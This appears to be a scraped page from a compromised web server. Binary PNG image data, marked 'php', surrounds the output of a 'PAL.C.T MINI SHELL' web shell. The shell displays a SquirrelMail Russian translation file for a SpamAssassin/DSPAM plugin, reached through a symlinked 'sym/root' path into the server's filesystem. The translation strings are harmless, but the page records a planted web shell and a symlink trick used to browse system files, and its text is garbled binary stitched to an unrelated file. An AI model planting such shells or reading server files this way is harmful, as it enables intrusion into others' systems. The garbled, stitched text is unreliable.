php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/ru_RU/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/ru_RU/LC_MESSAGES/sasql.po

# translation of sasql.po into Russian
# This file is distributed under the same license as the PACKAGE package.
# Copyright (c) 2004-2009 The SquirrelMail Project Team
# Gregory Mokhin <mok@kde.ru>, 2004.
#
msgid ""
msgstr ""
"Project-Id-Version: sasql\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2005-03-29 08:36-0700\n"
"PO-Revision-Date: 2004-10-16 16:52-0400\n"
"Last-Translator: Gregory Mokhin <mok@kde.ru>\n"
"Language-Team: Russian <kde-russian@lists.kde.ru>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.10\n"
"Plural-Forms:  nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%"
"10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n"

#: dspam.inc.php:82
#, fuzzy
msgid "DSPAM Settings"
msgstr "Параметры dspam"

#: dspam.inc.php:89
msgid "Warning"
msgstr "Предупреждение"

#: dspam.inc.php:91
#, fuzzy
msgid "Enabling DSPAM will disable SpamAssassin scanning of your email."
msgstr ""
"Если включить dspam, то обработка писем с помощью SpamAssassin будет "
"отключена."

#: dspam.inc.php:94
msgid "SpamAssassin settings and white/blacklists will not be used by dspam."
msgstr ""
"dspam не использует параметры SpamAssassin и его черные и белые списки."

#. *
#. * To translators: %s's will be replaced with <a ..> and </a>
#.
#: dspam.inc.php:102
#, fuzzy, php-format
msgid ""
"This %sFAQ%s from the DSPAM web site explains the differences between "
"SpamAssassin and DSPAM and why you might want to use dspam instead of "
"SpamAssassin."
msgstr ""
"На странице <a href='http://www.nuclearelephant.com/projects/dspam/faq."
"html#1.7' target='_blank'>Вопросов и ответов</a> сайта dspam объясняется "
"разница между SpamAssassin и dspam и в каких случаях предпочтительнее "
"использовать dspam."

#: dspam.inc.php:113
#, fuzzy
msgid ""
"DSPAM is a learning system that filters spam based on what <i>you</i> tell "
"it is spam and what isn't. Messages are analyzed as they are delivered and "
"are assigned a spam probability between 0 and 1. The more messages you "
"receive, both spam and innocent, the better DSPAM learns what <i>you</i> "
"think is spam and what is not."
msgstr ""
"dspam - это обучаемая система, которой <i>вы сами</i> говорите, какие письма "
"- это спам, а какие - нет. Поступающим сообщениям присваивается "
"вероятностный рейтинг спама (в пределах от 0 до 1). Чем больше будет "
"обработано писем, и обычных, и спама, тем лучше dspam будет знать, что "
"именно <i>вы сами</i> считаете спамом."

#: dspam.inc.php:117
msgid "Reporting Spam"
msgstr "Сообщения о спаме"

#: dspam.inc.php:120
msgid ""
"If you receive a spam message in your Inbox, forward the message to "
"<nobr>username-spam@domain</nobr> and it will be learned as spam. For "
"example, if your address is joe@example.com, you would forward the message "
"to <nobr>joe-spam@example.com</nobr>."
msgstr ""
"Если вам пришел спам, перешлите это письмо на адрес <nobr>username-"
"spam@domain</nobr>, чтобы программа внесла его в свою базу спама. Например, "
"если ваш адрес - это  joe@example.com, сообщение следует переслать на адрес "
"<nobr>joe-spam@example.com</nobr>."

#: dspam.inc.php:126
#, php-format
msgid ""
"You can also move your spam messages to the <i>%s</i> folder. This folder is "
"periodically checked for messages which are then learned as spam and "
"deleted. You do not need to move messages from your %s folder here because "
"they have already been learned as spam."
msgstr ""
"Можно также поместить спам в папку <i>%s</i>. Эта папка будет периодически "
"проверяться на наличие писем, и все новые письма в ней будут заноситься в "
"базу данных программы как спам и удаляться. Сообщения из папки %s сейчас "
"перемещать не нужно, поскольку они уже были занесены в базу спама."

#: dspam.inc.php:131
msgid "Reporting False Positives"
msgstr "Сообщения о ложных срабатываниях"

#: dspam.inc.php:134
#, fuzzy
msgid ""
"From time to time, DSPAM will catch an innocent messages as spam. These "
"messages are called \"false positives\". There is no way to prevent false "
"positives entirely. If you find a false positive, forward the message to "
"<nobr>username-fp@domain</nobr> and it will be learned as an innocent "
"message. For example, if your email address is joe@example.com, you would "
"forward the message to <nobr>joe-fp@example.com</nobr>."
msgstr ""
"Изредка dspam принимает за спам обычные сообщения. Это называется ложным "
"срабатыванием. Полностью этого избежать практически невозможно. Если это "
"случилось, перешлите письмо на адрес <nobr>username-fp@domain</nobr>, и оно "
"будет занесено в базу как не спам. Например, если ваш адрес - это  "
"joe@example.com, сообщение следует переслать на адрес <nobr>joe-fp@example."
"com</nobr>."

#: dspam.inc.php:140
#, php-format
msgid ""
"You can also move your false positives to the <i>%s</i> folder from the %s "
"folder. This folder is periodically checked for messages which are then "
"learned as false positives and deleted."
msgstr ""
"Можно также перемещать такие ни в чем не повинные письма из папки %s в папку "
"<i>%s</i>. Эта папка будет периодически проверяться на наличие писем, и все "
"новые письма в ней будут заноситься в базу данных программы как ложные "
"срабатывания и удаляться."

#: dspam.inc.php:145
msgid "Disclaimer"
msgstr "Внимание"

#: dspam.inc.php:148
#, fuzzy
msgid ""
"DSPAM is a learning system. It only knows what is spam based on what you "
"teach it is spam and what is not. Due to DSPAM's nature, you are more likely "
"to see errors in spam detection until it is trained on your email. If you do "
"not report a message as spam within ten days, the message will be "
"permanently learned as innocent and you will be more likely to receive more "
"spam."
msgstr ""
"dspam - это обучаемая программа. Она узнает о том, что такое спам, и что "
"такое не спам от вас. Программа устроена так, что ошибок в распознавании "
"спама будет всё меньше и меньше по мере того, как программа обучается на "
"вашей корреспонденции. Если в течение десяти дней вы не сообщили программе о "
"том, что пришедшее письмо - это спам, оно будет автоматически считаться "
"обычным письмом, и таким образом шансы того, что спам пройдет через фильтры, "
"увеличатся."

#. *
#. * To translators: %s's will be replaced by <a ..> and </a>
#.
#: dspam.inc.php:162
#, php-format
msgid "Please read the %sDSPAM Primer%s before enabling DSPAM."
msgstr ""

#: dspam.inc.php:183
msgid "Use DSPAM"
msgstr ""

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:198
#, php-format
msgid "Clean out your %s folder on opt-in?"
msgstr "Очищать папку %s после обработки?"

#: dspam.inc.php:200 purge.inc.php:37
msgid "Note"
msgstr "Примечание"

#. *
#. * To translators: %s is the name of the spam folder.
#.
#: dspam.inc.php:205 purge.inc.php:38
#, php-format
msgid ""
"Your %s folder may be unavailable during the purge. It will become available "
"again when the purge is complete."
msgstr ""
"Во время очистки папка %s будет недоступна. Она вновь станет доступна по "
"завершении очистки."

#: dspam.inc.php:214
msgid "Update"
msgstr ""

#: move_to.php:98
msgid "No messages were selected."
msgstr ""

#: purge.inc.php:30
msgid "Purge"
msgstr "Очистить"

#: purge.inc.php:33
#, php-format
msgid "Delete all messages from your %s folder."
msgstr "Удалить все сообщения из папки %s."

#: sa_abooksync.inc.php:20
msgid "Allow Senders from Address Book"
msgstr "Разрешать отправителей из адресной книги"

#: sa_abooksync.inc.php:26
msgid "Allow"
msgstr ""

#: sa_abooksync.inc.php:27
msgid "Allow all address in the address book."
msgstr "Будут разрешены все адреса, включенные в адресную книгу."

#. required_hists
#: sa_opts-dist.php:19
msgid "Spam Score"
msgstr ""

#: sa_opts-dist.php:20
msgid ""
"Once all SpamAssassin tests have been run, the resulting score is matched "
"against this value, and if greater than this value, the e-mail message is "
"marked as spam. We recommend a value of '5'."
msgstr ""

#: sa_opts-dist.php:22
msgid "0 - Very Aggressive"
msgstr ""

#: sa_opts-dist.php:23
msgid "1"
msgstr ""

#: sa_opts-dist.php:24
msgid "2 - Aggressive"
msgstr ""

#: sa_opts-dist.php:25
msgid "3"
msgstr ""

#: sa_opts-dist.php:26
msgid "4"
msgstr ""

#: sa_opts-dist.php:27
msgid "5 - Recommended"
msgstr ""

#: sa_opts-dist.php:28
msgid "6"
msgstr ""

#: sa_opts-dist.php:29
msgid "7"
msgstr ""

#: sa_opts-dist.php:30
msgid "8 - Lenient"
msgstr ""

#: sa_opts-dist.php:31
msgid "9"
msgstr ""

#: sa_opts-dist.php:32
msgid "10 - Very Lenient"
msgstr ""

#: sa_opts-dist.php:33
msgid "Don't Filter"
msgstr ""

#. NOTE: The ordering here is a little odd to allow some inclusion of
#. other option names.
#. subject_tag
#: sa_opts-dist.php:43
msgid "Spam Subject Tag"
msgstr ""

#: sa_opts-dist.php:45
msgid "*****SPAM*****"
msgstr ""

#. rewrite_subject
#: sa_opts-dist.php:48 sa_opts-dist.php:63
msgid "Rewrite Subject Line"
msgstr ""

#. To translators: %s is the default from subject_tag
#: sa_opts-dist.php:50
#, php-format
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with: %s.  To turn "
"on this feature, select this option."
msgstr ""

#. This is here to allow me to include the rewrite_subject title
#. *
#. * To Translators: %s is the title from rewrite_subject
#.
#: sa_opts-dist.php:60
#, php-format
msgid ""
"The text to prefix to the subject of messages determined to be spam. %s must "
"be turned on."
msgstr ""

#: sa_opts-dist.php:64
msgid ""
"SpamAssassin can re-write the subject line of e-mail that has been "
"determined to be spam by prefixing the original subject with this value."
msgstr ""

#. use_terse_report
#: sa_opts-dist.php:70
msgid "Short Report"
msgstr ""

#: sa_opts-dist.php:71
msgid ""
"This option will tell SpamAssassin to use a shorter spam report once the "
"message has been found to be spam."
msgstr ""

#. use_dcc
#: sa_opts-dist.php:77
msgid "Use DCC"
msgstr ""

#: sa_opts-dist.php:78
msgid ""
"Checks messages against the DCC (Distrubuted Checksum Clearinghouse) to see "
"if a message matches a known spam message."
msgstr ""

#. use_razor1
#: sa_opts-dist.php:84
msgid "Use SpamNet (version 1)"
msgstr ""

#: sa_opts-dist.php:85 sa_opts-dist.php:92
msgid ""
"Checks messages against SpamNet to see if a message is a known spam message."
msgstr ""

#. use_razor2
#: sa_opts-dist.php:91
msgid "Use SpamNet (version 2)"
msgstr ""

#. always_add_headers
#: sa_opts-dist.php:98
msgid "Always Add Headers"
msgstr ""

#: sa_opts-dist.php:99
msgid "Uncheck if you do not want to add the headers to non-spam."
msgstr ""

#. ok_languages
#: sa_opts-dist.php:105
msgid "Acceptable Languages"
msgstr ""

#: sa_opts-dist.php:106
msgid "Select all the languages you expect to receive e-mail in."
msgstr ""

#: sa_opts-dist.php:112
msgid "All"
msgstr ""

#: sa_opts-dist.php:113
msgid "Afrikaans"
msgstr ""

#: sa_opts-dist.php:114
msgid "Albanian"
msgstr ""

#: sa_opts-dist.php:115
msgid "Amharic"
msgstr ""

#: sa_opts-dist.php:116
msgid "Arabic"
msgstr ""

#: sa_opts-dist.php:117
msgid "Armenian"
msgstr ""

#: sa_opts-dist.php:118
msgid "Basque"
msgstr ""

#: sa_opts-dist.php:119
msgid "Bosnian"
msgstr ""

#: sa_opts-dist.php:120
msgid "Bulgarian"
msgstr ""

#: sa_opts-dist.php:121
msgid "Byelorussian"
msgstr ""

#: sa_opts-dist.php:122
msgid "Catalan"
msgstr ""

#: sa_opts-dist.php:123
msgid "Chinese"
msgstr ""

#: sa_opts-dist.php:124
msgid "Croatian"
msgstr ""

#: sa_opts-dist.php:125
msgid "Czech"
msgstr ""

#: sa_opts-dist.php:126
msgid "Danish"
msgstr ""

#: sa_opts-dist.php:127
msgid "Dutch"
msgstr ""

#: sa_opts-dist.php:128
msgid "English"
msgstr ""

#: sa_opts-dist.php:129
msgid "Esperanto"
msgstr ""

#: sa_opts-dist.php:130
msgid "Estonian"
msgstr ""

#: sa_opts-dist.php:131
msgid "Finnish"
msgstr ""

#: sa_opts-dist.php:132
msgid "French"
msgstr ""

#: sa_opts-dist.php:133
msgid "Frisian"
msgstr ""

#: sa_opts-dist.php:134
msgid "Georgian"
msgstr ""

#: sa_opts-dist.php:135
msgid "German"
msgstr ""

#: sa_opts-dist.php:136
msgid "Greek"
msgstr ""

#: sa_opts-dist.php:137
msgid "Hebrew"
msgstr ""

#: sa_opts-dist.php:138
msgid "Hindi"
msgstr ""

#: sa_opts-dist.php:139
msgid "Hungarian"
msgstr ""

#: sa_opts-dist.php:140
msgid "Icelandic"
msgstr ""

#: sa_opts-dist.php:141
msgid "Indonesian"
msgstr ""

#: sa_opts-dist.php:142
msgid "Irish Gaelic"
msgstr ""

#: sa_opts-dist.php:143
msgid "Italian"
msgstr ""

#: sa_opts-dist.php:144
msgid "Japanese"
msgstr ""

#: sa_opts-dist.php:145
msgid "Korean"
msgstr ""

#: sa_opts-dist.php:146
msgid "Latin"
msgstr ""

#: sa_opts-dist.php:147
msgid "Latvian"
msgstr ""

#: sa_opts-dist.php:148
msgid "Lithuanian"
msgstr ""

#: sa_opts-dist.php:149
msgid "Malay"
msgstr ""

#: sa_opts-dist.php:150
msgid "Marathi"
msgstr ""

#: sa_opts-dist.php:151
msgid "Nepali"
msgstr ""

#: sa_opts-dist.php:152
msgid "Norwegian"
msgstr ""

#: sa_opts-dist.php:153
msgid "Persian"
msgstr ""

#: sa_opts-dist.php:154
msgid "Polish"
msgstr ""

#: sa_opts-dist.php:155
msgid "Portuguese"
msgstr ""

#: sa_opts-dist.php:156
msgid "Quechua"
msgstr ""

#: sa_opts-dist.php:157
msgid "Rhaeto-Romance"
msgstr ""

#: sa_opts-dist.php:158
msgid "Romanian"
msgstr ""

#: sa_opts-dist.php:159
msgid "Russian"
msgstr ""

#: sa_opts-dist.php:160
msgid "Sanskrit"
msgstr ""

#: sa_opts-dist.php:161
msgid "Scots"
msgstr ""

#: sa_opts-dist.php:162
msgid "Scottish Gaelic"
msgstr ""

#: sa_opts-dist.php:163
msgid "Serbian"
msgstr ""

#: sa_opts-dist.php:164
msgid "Slovak"
msgstr ""

#: sa_opts-dist.php:165
msgid "Slovenian"
msgstr ""

#: sa_opts-dist.php:166
msgid "Spanish"
msgstr ""

#: sa_opts-dist.php:167
msgid "Swahili"
msgstr ""

#: sa_opts-dist.php:168
msgid "Swedish"
msgstr ""

#: sa_opts-dist.php:169
msgid "Tagalog"
msgstr ""

#: sa_opts-dist.php:170
msgid "Tamil"
msgstr ""

#: sa_opts-dist.php:171
msgid "Thai"
msgstr ""

#: sa_opts-dist.php:172
msgid "Turkish"
msgstr ""

#: sa_opts-dist.php:173
msgid "Ukrainian"
msgstr ""

#: sa_opts-dist.php:174
msgid "Vietnamese"
msgstr ""

#: sa_opts-dist.php:175
msgid "Welsh"
msgstr ""

#: sa_opts-dist.php:176
msgid "Yiddish"
msgstr ""

#. use_bayes
#: sa_opts-dist.php:179
msgid "Use Bayesian Filter"
msgstr ""

#: sa_opts-dist.php:180
msgid ""
"The Baysian Filter will learn what is spam and what isn't to become a better "
"filter."
msgstr ""

#. auto_learn
#: sa_opts-dist.php:186
msgid "Auto-learn"
msgstr ""

#: sa_opts-dist.php:187
msgid ""
"Automatically feed high and low scoring mails into SpamAssassin's learning "
"systems. (Currently, only Bayesian filtering is supported.)"
msgstr ""

#. report_safe
#: sa_opts-dist.php:193
msgid "Spam Encapsulation"
msgstr ""

#: sa_opts-dist.php:194
msgid ""
"Encapsulate spam messages into a MIME or plain-text attachment, or you can "
"disable it altogether."
msgstr ""

#: sa_opts-dist.php:196
msgid "Disabled"
msgstr ""

#: sa_opts-dist.php:197
msgid "MIME Attachment"
msgstr ""

#: sa_opts-dist.php:198
msgid "Text Attachment"
msgstr ""

#. These options were removed as of SpamAssassin 2.50-ish
#. They are here for those running older versions of SA.
#. report_header
#: sa_opts-dist.php:205
#, fuzzy
msgid "Report in Header"
msgstr "Сообщения о спаме"

#: sa_opts-dist.php:206
msgid ""
"SpamAssassin will create a report when it determines an e-mail message to be "
"spam.  This report is normally prepended to the e-mail message.  To have the "
"report written as part of the e-mail header, select this option."
msgstr ""

#. defang_mime
#: sa_opts-dist.php:212
#, fuzzy
msgid "Reformat HTML Spam"
msgstr "Сообщения о спаме"

#: sa_opts-dist.php:213
msgid ""
"When an e-mail in HTML format is determined to be spam, SpamAssassin can "
"convert the message to text. To allow this, select this option."
msgstr ""

#. White/black list info
#: sa_opts-dist.php:243
msgid "Whitelist From"
msgstr "Белый список - От"

#: sa_opts-dist.php:244
msgid ""
"E-mail from these addresses will not be marked as spam. You may use '*' as a "
"wildcard to allow a large number of addresses at one time. E.g. Whitelist "
"From '*@aol.com' will not mark any message that claims to be from aol.com as "
"spam."
msgstr ""

#: sa_opts-dist.php:246
msgid "Don't Whitelist From"
msgstr ""

#: sa_opts-dist.php:247
msgid ""
"This address will be excluded from a previous whitelist and will be treated "
"as a normal address, i.e. it will not be automatically allowed."
msgstr ""

#: sa_opts-dist.php:249
msgid "Blacklist From"
msgstr "Черный список - От"

#: sa_opts-dist.php:250
msgid ""
"E-mail from these addresses will always be marked as spam. You may use '*' "
"as a wildcard to block a large number of addresses at one time. E.g. "
"Blacklist From '*@aol.com' will mark all messages that claims to be from aol."
"com as spam."
msgstr ""

#: sa_opts-dist.php:252
msgid "Don't Blacklist From"
msgstr ""

#: sa_opts-dist.php:253
msgid ""
"This address will be excluded from a previous blacklist and will be treated "
"as a normal address, i.e. it will not be automatically denied."
msgstr ""

#: sa_opts-dist.php:255
msgid "Whitelist To"
msgstr "Белый список - Кому"

#: sa_opts-dist.php:256
msgid ""
"E-mail to these addresses will not be marked as spam. This is useful for "
"allowing e-mail lists. For example, you can allow all messages from an e-"
"mail list that sends to 'Tofu-Support-List@beeflovers.com'. You may use '*' "
"as a wildcard to allow a large number of addresses at one time. E.g. "
"Whitelist To '*@aol.com' will not mark any message that claims to be to aol."
"com as spam."
msgstr ""

#: sa_opts-dist.php:258
#, fuzzy
msgid "Blacklist To"
msgstr "Черный список - От"

#: sa_opts-dist.php:259
msgid ""
"E-mail to these addresses will be marked as spam. You may use '*' as a "
"wildcard to reject a large number of addresses at one time. E.g. Blacklist "
"To '*@aol.com' will mark all messages that claims to be to aol.com as spam."
msgstr ""

#: sa_settings.inc.php:114
msgid "General Settings"
msgstr "Общие параметры"

#: sa_settings.inc.php:173
#, fuzzy
msgid "Save Settings"
msgstr "Параметры dspam"

#: sa_whitelist.inc.php:43 sasql_wblist.php:41
msgid "Error: You must include an e-mail address."
msgstr "Следует указать электронный адрес."

#: sa_whitelist.inc.php:49 sasql_wblist.php:48
msgid "Error: You have entered an invalid e-mail address."
msgstr "Указан неверный электронный адрес."

#: sa_whitelist.inc.php:53
msgid "Error: You must select Allow or Deny."
msgstr "Следует выбрать Разрешить или Запретить."

#: sa_whitelist.inc.php:76
msgid "Global Allow / Deny Address List"
msgstr "Список глобально разрешенных или запрещенных адресов"

#: sa_whitelist.inc.php:83 sa_whitelist.inc.php:125
msgid "Address"
msgstr "Адрес"

#: sa_whitelist.inc.php:84 sa_whitelist.inc.php:126
msgid "Type"
msgstr "Тип"

#: sa_whitelist.inc.php:118
msgid "Personal Allow / Deny Address List"
msgstr "Список личных разрешенных или запрещенных адресов"

#: sa_whitelist.inc.php:127
msgid "Action"
msgstr "Действие"

#: sa_whitelist.inc.php:134
msgid "Address Removed"
msgstr "Адрес удален"

#: sa_whitelist.inc.php:160
#, php-format
msgid "Unknown option: %s"
msgstr ""

#: sa_whitelist.inc.php:168
msgid "Delete"
msgstr "Удалить"

#: sa_whitelist.inc.php:174
msgid "Edit"
msgstr "Изменить"

#. echo $edit;
#: sa_whitelist.inc.php:188
msgid "Edit Address"
msgstr "Изменить адрес"

#: sa_whitelist.inc.php:194
msgid "Add New Address"
msgstr "Добавить адрес"

#: sa_whitelist.inc.php:220
msgid "Address:"
msgstr "Адрес:"

#: sa_whitelist.inc.php:224
msgid "Type:"
msgstr "Тип:"

#. End Form
#. Help
#: sa_whitelist.inc.php:245
msgid "Legend"
msgstr ""

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:14 sasql_db.php:37 sasql_db.php:121 sasql_db.php:165
#: sasql_db.php:206 sasql_db.php:246 sasql_db.php:263 sasql_db.php:296
#: sasql_db.php:326
#, fuzzy, php-format
msgid "Database error in %s: %s"
msgstr "Ошибка базы данных sasql_AddPref: %s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:188
#, fuzzy, php-format
msgid "Database error: %s"
msgstr "Ошибка базы данных sasql_DelPref: %s"

#: sasql_db.php:227
#, php-format
msgid "sasql_AddPref_multiple Database error: %s"
msgstr "Ошибка базы данных sasql_AddPref_multiple: %s"

#. To translators: %s's are the function name
#. and PEAR generated error message.
#.
#: sasql_db.php:280
#, fuzzy, php-format
msgid "Database error %s: %s"
msgstr "Ошибка базы данных sasql_DelPref: %s"

#: sasql_hooks.php:104 sasql_options.php:62
msgid "Spam Filters"
msgstr ""

#: sasql_hooks.php:106
#, fuzzy
msgid "Configure the behavior of your spam filters."
msgstr "Здесь настраиваются параметры программ, защищающих от спама."

#: sasql_hooks.php:199
msgid "Add Email to Whitelist"
msgstr ""

#: sasql_hooks.php:200
msgid "Allow Sender"
msgstr "Разрешить отправителя"

#: sasql_hooks.php:201
msgid "Remove Email from Whitelist"
msgstr ""

#: sasql_hooks.php:202 sasql_hooks.php:204 sasql_hooks.php:209
#: sasql_hooks.php:211
msgid "remove"
msgstr "удалить"

#: sasql_hooks.php:203
msgid "Remove Domain from Whitelist"
msgstr ""

#: sasql_hooks.php:206
msgid "Add Email to Blacklist"
msgstr ""

#: sasql_hooks.php:207
#, fuzzy
msgid "Block Sender"
msgstr "Разрешить отправителя"

#: sasql_hooks.php:208
msgid "Remove Email from Blacklist"
msgstr ""

#: sasql_hooks.php:210
msgid "Remove Domain from Blacklist"
msgstr ""

#: sasql_hooks.php:217
msgid "Address is already in your whitelist"
msgstr ""

#: sasql_hooks.php:218 sasql_hooks.php:226
msgid "Whitelisted"
msgstr "В белом списке"

#: sasql_hooks.php:225
msgid "Domain is already in your whitelist"
msgstr ""

#: sasql_hooks.php:239
msgid "Address is already in your blacklist"
msgstr ""

#: sasql_hooks.php:240 sasql_hooks.php:248
msgid "Blacklisted"
msgstr "В черном списке"

#: sasql_hooks.php:247
msgid "Domain is already in your blacklist"
msgstr ""

#: sasql_hooks.php:291 sasql_hooks.php:349
#, fuzzy
msgid "Learn as False Positive"
msgstr "Сообщения о ложных срабатываниях"

#: sasql_hooks.php:295 sasql_hooks.php:353
msgid "Learn as Spam"
msgstr ""

#: sasql_options.php:62
msgid "Options"
msgstr "Параметры"

#: sasql_wblist.php:53
msgid "Error: Missing option."
msgstr "Параметр не указан."

#~ msgid "Use dspam"
#~ msgstr "Использовать dspam"

#~ msgid "Purge $spam_folder Folder"
#~ msgstr "Очистить папку $spam_folder"

#~ msgid "sasql_DBConnect Database error: %s"
#~ msgstr "Ошибка базы данных sasql_DBConnect: %s"

#~ msgid "sasql_ReadWBList Database error: $s"
#~ msgstr "Ошибка базы данных sasql_ReadWBList: $s"

#~ msgid "sasql_ReadPrefs Database error: %s"
#~ msgstr "Ошибка базы данных sasql_ReadPrefs: %s"

#~ msgid "sasql_UpdatePref Database error: %s"
#~ msgstr "Ошибка базы данных sasql_UpdatePref: %s"

#~ msgid "sasql_UpdatePref_multiple Database error: %s"
#~ msgstr "Ошибка базы данных sasql_UpdatePref_multiple: %s"

#~ msgid "sasql_GetPref Database error: $s"
#~ msgstr "Ошибка базы данных sasql_GetPref: $s"

#~ msgid "Spam Filter Configuration"
#~ msgstr "Параметры защиты от спама"

#~ msgid "Description"
#~ msgstr "Описание"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`